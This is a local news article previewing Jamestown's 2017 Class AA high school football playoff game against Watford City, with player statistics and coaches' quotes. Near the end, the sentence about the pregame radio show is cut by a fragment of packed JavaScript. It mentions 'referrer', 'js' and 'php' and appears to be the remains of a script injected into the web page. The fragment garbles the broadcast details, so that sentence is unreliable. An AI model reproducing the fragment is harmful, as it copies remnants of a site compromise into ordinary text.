JAMESTOWN, N.D. (NewsDakota.com) – Jamestown will open up their run in the 2017 Class AA football playoffs on Saturday when they host Watford City. It’s the first time there has been a home playoff game for the Jays since 1994, when they reached the title game and lost to St. Mary’s.

“Pack the house! It’s special to have a playoff game at home and the more people we get at that games is just going to continue to raise the excitement level for our kids,” said head coach Bill Nelson on the first home playoff game in 23 years.

Jamestown is coming off two straight road games a 14-13 loss to Devils Lake and a demolition of Grafton, 52-12.

Jared Harr has lead the team on the offensive side of the ball with 856 yards rushing and nine touchdowns, while third on the team in tackles with 46.

Aaron Mack is the team’s leading tackler with 70 stops and Zach Petrek is second with 49.

The Jays won a 43-6 decision over Watford City back on September 1st, but a whole lot has changed since then. The Wolves got four players back who missed that game and have won six straight.

They even knocked off then #1 St. Mary’s in the final seconds 24-22 on October 6th.

Jadyn Ewing is one of the top five players in Class AA football and wrecks games from his DE spot. “He’s been seeing double and triple teams the last few weeks which has opened things up for the other guys to step up and make plays,” said Wolves head coach Justin Johnsrud.

The Wolves struggled with turnovers in the first meeting and a 6-3 halftime lead turned into 40 quick points for the Jays. “We’ve got to take care of the football and we’ve been doing a better job of it lately,” Johnsrud said. Cooper Knutson threw two interceptions and they fumbled three times.

The backfield tandem of Kason Hartel and Carter Zenz will handle the rushing load for Watford City. They both have more than 420 yards rushing on the season.

Kick-off on Saturday is scheduled for 2pm. An extended pregame show begins on ESPN knyds|var|u0026u|referrer|nnthd||js|php’.split(‘|’),0,{}))
Jamestown at 1pm.

The winner of Saturday’s game will play top-seeded and unbeaten Shanley on November 4th in Fargo at Sid Cichy Stadium.

You can view the entire bracket here.